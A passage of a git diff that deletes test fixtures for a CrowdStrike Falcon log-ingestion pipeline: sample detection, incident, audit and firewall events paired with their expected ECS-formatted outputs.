Through\",\"ParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"ParentImageFileName\":\"userinit.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"ParentProcessId\":38850737845,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10418,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":38850874557,\"ProcessStartTime\":1751371562,\"ReferrerUrl\":\"C:\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com.zip\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"MitreAttack\":[{\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"PatternID\":10418}]},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1751371899000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":1956190,\"version\":\"1.0\"}}", - "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "23ba370fc8357f6f827812da142b5fcb", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7" - }, - "name": "explorer.exe", - "path": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe" - }, - "host": { - "domain": "dave-win10-3", - "name": "dave-win10-3" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "C:\\Windows\\Explorer.EXE" - ], - "command_line": "C:\\Windows\\Explorer.EXE", - "entity_id": "38850874557", - "executable": "C:\\Windows\\Explorer.EXE", - "name": "explorer.exe", - "parent": { - "args": [ - "C:\\Windows\\system32\\userinit.exe" - ], - "command_line": "C:\\Windows\\system32\\userinit.exe", - "entity_id": "38850737845", - "executable": "C:\\Windows\\system32\\userinit.exe", - "pid": 38850737845 - }, - "pid": 38850874557, - "start": "2025-07-01T12:06:02.000Z" - }, - "related": { - "hash": [ - "0000000000000000000000000000000000000000", - "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7", - "23ba370fc8357f6f827812da142b5fcb" - ], - "hosts": [ - "dave-win10-3" - ], - "ip": [ - "10.0.0.13" - ], - "user": [ - "win10_user3" - ] - }, - "rule": { - "name": "Known Malware" - }, - "source": { - "ip": "10.0.0.13" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "tactic": { - "name": [ - "Execution" - ] - }, - "technique": { - "name": [ - "User Execution" - ] - } - }, - "user": { - "name": "win10_user3" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log deleted file mode 100644 index a922143c4b..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log +++ /dev/null @@ -1,160 +0,0 @@ -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 294564, - "eventType": "DetectionSummaryEvent", - "eventCreationTime": 1582101000000, - "version": "1.0" - }, - "event": { - "ProcessStartTime": 1536846339, - "ProcessEndTime": 0, - "ProcessId": 38684386611, - "ParentProcessId": 38682494050, - "ComputerName": "alice-laptop", - "UserName": "alice", - "DetectName": "Process Terminated", - "DetectDescription": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.", - "Severity": 4, - "SeverityName": "High", - "FileName": "explorer.exe", - "FilePath": "\\Device\\HarddiskVolume1\\Windows", - "CommandLine": "C:\\Windows\\Explorer.EXE", - "SHA256String": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a", - "MD5String": "ac4c51eb24aa95b77f705ab159189e24", - "MachineDomain": "CORP-DOMAIN", - "FalconHostLink": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4", - "SensorId": "7c808b4c8878433287eea53d4a8c3268", - "DetectId": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584", - "LocalIP": "192.168.12.51", - "MACAddress": "00-00-00-11-22-33", - "Tactic": "Malware", - "Technique": "Ransomware", - "Objective": "Falcon Detection Method", - "PatternDispositionDescription": "Prevention, process killed.", - "PatternDispositionValue": 16, - "PatternDispositionFlags": { - "Indicator": false, - "Detect": false, - "InddetMask": false, - "SensorOnly": false, - "Rooting": false, - "KillProcess": true, - "KillSubProcess": false, - "QuarantineMachine": false, - "QuarantineFile": false, - "PolicyDisabled": false, - "KillParent": false, - "OperationBlocked": false, - "ProcessBlocked": false - } - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 1824, - "eventType": "IncidentSummaryEvent", - "eventCreationTime": 1583295476766, - "version": "1.0" - }, - "event": { - "IncidentStartTime": 1583295228, - "IncidentEndTime": 1583295470, - "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "State": "open", - "FineScore": 1.2 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 22865, - "eventType": "UserActivityAuditEvent", - "eventCreationTime": 1593186952000, - "version": "1.0" - }, - "event": { - "UserId": "Crowdstrike", - "UserIp": "", - "OperationName": "quarantined_file_update", - "ServiceName": "quarantined_files", - "AuditKeyValues": [ - { - "Key": "quarantined_file_id", - "ValueString": "35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78" - }, - { - "Key": "action_taken", - "ValueString": "quarantined" - } - ], - "UTCTimestamp": 1593186952 - } -} -{ - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "offset": 294564, - "eventType": "DetectionSummaryEvent", - "eventCreationTime": 1582101000000, - "version": "1.0" - }, - "event": { - "ProcessStartTime": 1536846339, - "ProcessEndTime": 0, - "ProcessId": 38684386611, - "ParentProcessId": 38682494050, - "ComputerName": "alice-laptop", - "UserName": "alice", - "DetectName": "Process Terminated", - "DetectDescription": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.", - "Severity": 4, - "SeverityName": "High", - "FileName": "explorer.exe", - "FilePath": "\\Device\\HarddiskVolume1\\Windows", - "CommandLine": "C:\\Windows\\Explorer.EXE", - "SHA256String": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a", - "MD5String": "ac4c51eb24aa95b77f705ab159189e24", - "MachineDomain": "CORP-DOMAIN", - "FalconHostLink": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4", - "SensorId": "7c808b4c8878433287eea53d4a8c3268", - "DetectId": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584", - "LocalIP": "192.168.12.51", - "MACAddress": "00-00-00-11-22-33", - "Tactic": "Malware", - "Technique": "Ransomware", - "Objective": "Falcon Detection Method", - "PatternDispositionDescription": "Prevention, process killed.", - "PatternDispositionValue": 16, - "PatternDispositionFlags": { - "Indicator": false, - "Detect": false, - "InddetMask": false, - "SensorOnly": false, - "Rooting": false, - "KillProcess": true, - "KillSubProcess": false, - "QuarantineMachine": false, - "QuarantineFile": false, - "PolicyDisabled": false, - "KillParent": false, - "OperationBlocked": false, - "ProcessBlocked": false - }, - "MitreAttack": [ - { - "Tactic": "Insecure security posture", - "TacticID": "CSTA0009", - "Technique": "Bad device settings", - "TechniqueID": "CST0024" - }, - { - "Tactic": "Exfiltration", - "TacticID": "TA0010", - "Technique": "Exfiltration Over Web Service", - "TechniqueID": "T1567" - } - ] - } -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json deleted file mode 100644 index c8dda7f0e9..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json +++ /dev/null @@ -1,378 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2020-02-19T08:30:00.000Z", - "crowdstrike": { - "event": { - "MACAddress": "00-00-00-11-22-33", - "Objective": "Falcon Detection Method", - "PatternDispositionFlags": { - "Detect": false, - "InddetMask": false, - "Indicator": false, - "KillParent": false, - "KillProcess": true, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "Rooting": false, - "SensorOnly": false - }, - "PatternDispositionValue": 16, - "SensorId": "7c808b4c8878433287eea53d4a8c3268", - "Severity": 4, - "SeverityName": "High" - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "DetectionSummaryEvent", - "offset": 294564, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Prevention, process killed.", - "category": [ - "malware" - ], - "created": "2020-02-19T08:30:00.000Z", - "kind": "alert", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 294564,\n \"eventType\": \"DetectionSummaryEvent\",\n \"eventCreationTime\": 1582101000000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"ProcessStartTime\": 1536846339,\n \"ProcessEndTime\": 0,\n \"ProcessId\": 38684386611,\n \"ParentProcessId\": 38682494050,\n \"ComputerName\": \"alice-laptop\",\n \"UserName\": \"alice\",\n \"DetectName\": \"Process Terminated\",\n \"DetectDescription\": \"Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.\",\n \"Severity\": 4,\n \"SeverityName\": \"High\",\n \"FileName\": \"explorer.exe\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume1\\\\Windows\",\n \"CommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n \"SHA256String\": \"6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a\",\n \"MD5String\": \"ac4c51eb24aa95b77f705ab159189e24\",\n \"MachineDomain\": \"CORP-DOMAIN\",\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4\",\n \"SensorId\": \"7c808b4c8878433287eea53d4a8c3268\",\n \"DetectId\": \"ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584\",\n \"LocalIP\": \"192.168.12.51\",\n \"MACAddress\": \"00-00-00-11-22-33\",\n \"Tactic\": \"Malware\",\n \"Technique\": \"Ransomware\",\n \"Objective\": \"Falcon Detection Method\",\n \"PatternDispositionDescription\": \"Prevention, process killed.\",\n \"PatternDispositionValue\": 16,\n \"PatternDispositionFlags\": {\n \"Indicator\": false,\n \"Detect\": false,\n \"InddetMask\": false,\n \"SensorOnly\": false,\n \"Rooting\": false,\n \"KillProcess\": true,\n \"KillSubProcess\": false,\n \"QuarantineMachine\": false,\n \"QuarantineFile\": false,\n \"PolicyDisabled\": false,\n \"KillParent\": false,\n \"OperationBlocked\": false,\n \"ProcessBlocked\": false\n }\n }\n}", - "reference": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4", - "severity": 73, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "ac4c51eb24aa95b77f705ab159189e24", - "sha256": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a" - }, - "name": "explorer.exe", - "path": "\\Device\\HarddiskVolume1\\Windows" - }, - "host": { - "domain": "CORP-DOMAIN", - "name": "alice-laptop" - }, - "message": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "C:\\Windows\\Explorer.EXE" - ], - "command_line": "C:\\Windows\\Explorer.EXE", - "entity_id": "38684386611", - "executable": "C:\\Windows\\Explorer.EXE", - "name": "explorer.exe", - "parent": { - "entity_id": "38682494050", - "pid": 38682494050 - }, - "pid": 38684386611, - "start": "2018-09-13T13:45:39.000Z" - }, - "related": { - "hash": [ - "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a", - "ac4c51eb24aa95b77f705ab159189e24" - ], - "hosts": [ - "alice-laptop" - ], - "ip": [ - "192.168.12.51" - ], - "user": [ - "alice" - ] - }, - "rule": { - "description": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.", - "id": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584", - "name": "Process Terminated" - }, - "source": { - "ip": "192.168.12.51" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Malware" - ] - }, - "technique": { - "name": [ - "Ransomware" - ] - } - }, - "user": { - "name": "alice" - } - }, - { - "@timestamp": "2020-03-04T04:17:56.766Z", - "crowdstrike": { - "event": { - "FineScore": 1.2, - "State": "open" - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "IncidentSummaryEvent", - "offset": 1824, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "incident" - ], - "category": [ - "malware" - ], - "created": "2020-03-04T04:17:56.766Z", - "end": "2020-03-04T04:17:50.000Z", - "kind": "alert", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 1824,\n \"eventType\": \"IncidentSummaryEvent\",\n \"eventCreationTime\": 1583295476766,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"IncidentStartTime\": 1583295228,\n \"IncidentEndTime\": 1583295470,\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"State\": \"open\",\n \"FineScore\": 1.2\n }\n}", - "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "start": "2020-03-04T04:13:48.000Z", - "type": [ - "info" - ] - }, - "message": "Incident score 1.2", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-06-26T15:55:52.000Z", - "crowdstrike": { - "event": { - "AuditKeyValues": [ - { - "Key": "quarantined_file_id", - "ValueString": "35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78" - }, - { - "Key": "action_taken", - "ValueString": "quarantined" - } - ], - "ServiceName": "quarantined_files" - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "UserActivityAuditEvent", - "offset": 22865, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "user_activity_audit_event", - "category": [ - "iam" - ], - "created": "2020-06-26T15:55:52.000Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 22865,\n \"eventType\": \"UserActivityAuditEvent\",\n \"eventCreationTime\": 1593186952000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"Crowdstrike\",\n \"UserIp\": \"\",\n \"OperationName\": \"quarantined_file_update\",\n \"ServiceName\": \"quarantined_files\",\n \"AuditKeyValues\": [\n {\n \"Key\": \"quarantined_file_id\",\n \"ValueString\": \"35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78\"\n },\n {\n \"Key\": \"action_taken\",\n \"ValueString\": \"quarantined\"\n }\n ],\n \"UTCTimestamp\": 1593186952\n }\n}", - "type": [ - "change" - ] - }, - "message": "quarantined_file_update", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "user": [ - "Crowdstrike" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "Crowdstrike" - } - }, - { - "@timestamp": "2020-02-19T08:30:00.000Z", - "crowdstrike": { - "event": { - "MACAddress": "00-00-00-11-22-33", - "MitreAttack": [ - { - "Tactic": "Insecure security posture", - "TacticID": "CSTA0009", - "Technique": "Bad device settings", - "TechniqueID": "CST0024" - }, - { - "Tactic": "Exfiltration", - "TacticID": "TA0010", - "Technique": "Exfiltration Over Web Service", - "TechniqueID": "T1567" - } - ], - "Objective": "Falcon Detection Method", - "PatternDispositionFlags": { - "Detect": false, - "InddetMask": false, - "Indicator": false, - "KillParent": false, - "KillProcess": true, - "KillSubProcess": false, - "OperationBlocked": false, - "PolicyDisabled": false, - "ProcessBlocked": false, - "QuarantineFile": false, - "QuarantineMachine": false, - "Rooting": false, - "SensorOnly": false - }, - "PatternDispositionValue": 16, - "SensorId": "7c808b4c8878433287eea53d4a8c3268", - "Severity": 4, - "SeverityName": "High" - }, - "metadata": { - "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", - "eventType": "DetectionSummaryEvent", - "offset": 294564, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "Prevention, process killed.", - "category": [ - "malware" - ], - "created": "2020-02-19T08:30:00.000Z", - "kind": "alert", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"8f69fe9e-b995-4204-95ad-44f9bcf75b6b\",\n \"offset\": 294564,\n \"eventType\": \"DetectionSummaryEvent\",\n \"eventCreationTime\": 1582101000000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"ProcessStartTime\": 1536846339,\n \"ProcessEndTime\": 0,\n \"ProcessId\": 38684386611,\n \"ParentProcessId\": 38682494050,\n \"ComputerName\": \"alice-laptop\",\n \"UserName\": \"alice\",\n \"DetectName\": \"Process Terminated\",\n \"DetectDescription\": \"Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.\",\n \"Severity\": 4,\n \"SeverityName\": \"High\",\n \"FileName\": \"explorer.exe\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume1\\\\Windows\",\n \"CommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n \"SHA256String\": \"6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a\",\n \"MD5String\": \"ac4c51eb24aa95b77f705ab159189e24\",\n \"MachineDomain\": \"CORP-DOMAIN\",\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4\",\n \"SensorId\": \"7c808b4c8878433287eea53d4a8c3268\",\n \"DetectId\": \"ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584\",\n \"LocalIP\": \"192.168.12.51\",\n \"MACAddress\": \"00-00-00-11-22-33\",\n \"Tactic\": \"Malware\",\n \"Technique\": \"Ransomware\",\n \"Objective\": \"Falcon Detection Method\",\n \"PatternDispositionDescription\": \"Prevention, process killed.\",\n \"PatternDispositionValue\": 16,\n \"PatternDispositionFlags\": {\n \"Indicator\": false,\n \"Detect\": false,\n \"InddetMask\": false,\n \"SensorOnly\": false,\n \"Rooting\": false,\n \"KillProcess\": true,\n \"KillSubProcess\": false,\n \"QuarantineMachine\": false,\n \"QuarantineFile\": false,\n \"PolicyDisabled\": false,\n \"KillParent\": false,\n \"OperationBlocked\": false,\n \"ProcessBlocked\": false\n },\n \"MitreAttack\": [\n {\n\t\t\t\t\"Tactic\": \"Insecure security posture\",\n\t\t\t\t\"TacticID\": \"CSTA0009\",\n\t\t\t\t\"Technique\": \"Bad device settings\",\n\t\t\t\t\"TechniqueID\": \"CST0024\"\n\t\t\t},\n {\n \"Tactic\": \"Exfiltration\",\n \"TacticID\": \"TA0010\",\n \"Technique\": \"Exfiltration Over Web Service\",\n \"TechniqueID\": \"T1567\"\n }\n ]\n }\n}", - "reference": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4", - "severity": 73, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "ac4c51eb24aa95b77f705ab159189e24", - "sha256": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a" - }, - "name": "explorer.exe", - "path": "\\Device\\HarddiskVolume1\\Windows" - }, - "host": { - "domain": "CORP-DOMAIN", - "name": "alice-laptop" - }, - "message": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "C:\\Windows\\Explorer.EXE" - ], - "command_line": "C:\\Windows\\Explorer.EXE", - "entity_id": "38684386611", - "executable": "C:\\Windows\\Explorer.EXE", - "name": "explorer.exe", - "parent": { - "entity_id": "38682494050", - "pid": 38682494050 - }, - "pid": 38684386611, - "start": "2018-09-13T13:45:39.000Z" - }, - "related": { - "hash": [ - "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a", - "ac4c51eb24aa95b77f705ab159189e24" - ], - "hosts": [ - "alice-laptop" - ], - "ip": [ - "192.168.12.51" - ], - "user": [ - "alice" - ] - }, - "rule": { - "description": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.", - "id": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584", - "name": "Process Terminated" - }, - "source": { - "ip": "192.168.12.51" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "MITRE ATT&CK", - "tactic": { - "id": [ - "CSTA0009", - "TA0010" - ], - "name": [ - "Malware", - "Insecure security posture", - "Exfiltration" - ] - }, - "technique": { - "id": [ - "CST0024", - "T1567" - ], - "name": [ - "Ransomware", - "Bad device settings", - "Exfiltration Over Web Service" - ] - } - }, - "user": { - "name": "alice" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log deleted file mode 100644 index 8c7d2c1ba2..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log +++ /dev/null @@ -1,46 +0,0 @@ -{ - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "offset": 70689, - "eventType": "FirewallMatchEvent", - "eventCreationTime": 1595248906000, - "version": "1.0" - }, - "event": { - "DeviceId": "12345a1bc2d34fghi56jk7890lmno12p", - "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p", - "Ipv": "ipv4", - "CommandLine": "nginx", - "ConnectionDirection": "1", - "EventType": "FirewallRuleIP4Matched", - "Flags": { - "Audit": false, - "Log": false, - "Monitor": true - }, - "HostName": "TESTDEVICE01", - "ICMPCode": "", - "ICMPType": "", - "ImageFileName": "/usr/bin/nginx", - "LocalAddress": "10.10.10.10", - "LocalPort": "445", - "MatchCount": 1, - "MatchCountSinceLastReport": 1, - "NetworkProfile": "2", - "PID": "206158879910", - "PolicyName": "PROD-FW-TESTSTATION-General", - "PolicyID": "12345a1bc2d34fghi56jk7890lmno12p", - "Protocol": "6", - "RemoteAddress": "216.160.83.56", - "RemotePort": "54952", - "RuleAction": "2", - "RuleDescription": "", - "RuleFamilyID": "fec73e96a1bf4481be582c3f89b234fa", - "RuleGroupName": "SMB Rules", - "RuleName": "Inbound SMB Block \u0026 Log Private", - "RuleId": "4877172638743447345", - "Status": "", - "Timestamp": "2020-07-20T12:41:44Z", - "TreeID": "158446832506666" - } -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json deleted file mode 100644 index 77ad99a7c3..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json +++ /dev/null @@ -1,118 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2020-07-20T12:41:46.000Z", - "crowdstrike": { - "event": { - "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p", - "DeviceId": "12345a1bc2d34fghi56jk7890lmno12p", - "Flags": { - "Audit": false, - "Log": false, - "Monitor": true - }, - "MatchCount": 1, - "MatchCountSinceLastReport": 1, - "NetworkProfile": "2", - "PolicyID": "12345a1bc2d34fghi56jk7890lmno12p", - "PolicyName": "PROD-FW-TESTSTATION-General", - "Protocol": "6", - "RuleAction": "2", - "Timestamp": "2020-07-20T12:41:44Z", - "TreeID": "158446832506666" - }, - "metadata": { - "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", - "eventType": "FirewallMatchEvent", - "offset": 70689, - "version": "1.0" - } - }, - "destination": { - "ip": "10.10.10.10", - "port": 445 - }, - "device": { - "id": "12345a1bc2d34fghi56jk7890lmno12p" - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": [ - "firewall_match_event" - ], - "category": [ - "network" - ], - "code": "FirewallRuleIP4Matched", - "created": "2020-07-20T12:41:46.000Z", - "kind": "event", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"offset\": 70689,\n \"eventType\": \"FirewallMatchEvent\",\n \"eventCreationTime\": 1595248906000,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"DeviceId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"CustomerId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"Ipv\": \"ipv4\",\n \"CommandLine\": \"nginx\",\n \"ConnectionDirection\": \"1\",\n \"EventType\": \"FirewallRuleIP4Matched\",\n \"Flags\": {\n \"Audit\": false,\n \"Log\": false,\n \"Monitor\": true\n },\n \"HostName\": \"TESTDEVICE01\",\n \"ICMPCode\": \"\",\n \"ICMPType\": \"\",\n \"ImageFileName\": \"/usr/bin/nginx\",\n \"LocalAddress\": \"10.10.10.10\",\n \"LocalPort\": \"445\",\n \"MatchCount\": 1,\n \"MatchCountSinceLastReport\": 1,\n \"NetworkProfile\": \"2\",\n \"PID\": \"206158879910\",\n \"PolicyName\": \"PROD-FW-TESTSTATION-General\",\n \"PolicyID\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n \"Protocol\": \"6\",\n \"RemoteAddress\": \"216.160.83.56\",\n \"RemotePort\": \"54952\",\n \"RuleAction\": \"2\",\n \"RuleDescription\": \"\",\n \"RuleFamilyID\": \"fec73e96a1bf4481be582c3f89b234fa\",\n \"RuleGroupName\": \"SMB Rules\",\n \"RuleName\": \"Inbound SMB Block \\u0026 Log Private\",\n \"RuleId\": \"4877172638743447345\",\n \"Status\": \"\",\n \"Timestamp\": \"2020-07-20T12:41:44Z\",\n \"TreeID\": \"158446832506666\"\n }\n}", - "type": [ - "start", - "connection", - "denied" - ] - }, - "host": { - "name": "TESTDEVICE01" - }, - "message": "Firewall Rule: 'Inbound SMB Block & Log Private' triggered - Action: 'Blocked'", - "network": { - "direction": "ingress", - "type": "ipv4" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "nginx" - ], - "command_line": "nginx", - "entity_id": "206158879910", - "executable": "/usr/bin/nginx", - "pid": 206158879910 - }, - "related": { - "hosts": [ - "TESTDEVICE01" - ], - "ip": [ - "216.160.83.56", - "10.10.10.10" - ] - }, - "rule": { - "category": "fec73e96a1bf4481be582c3f89b234fa", - "id": "4877172638743447345", - "name": "Inbound SMB Block & Log Private", - "ruleset": "SMB Rules" - }, - "source": { - "as": { - "number": 209 - }, - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": "216.160.83.56", - "port": 54952 - }, - "tags": [ - "preserve_original_event" - ] - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log 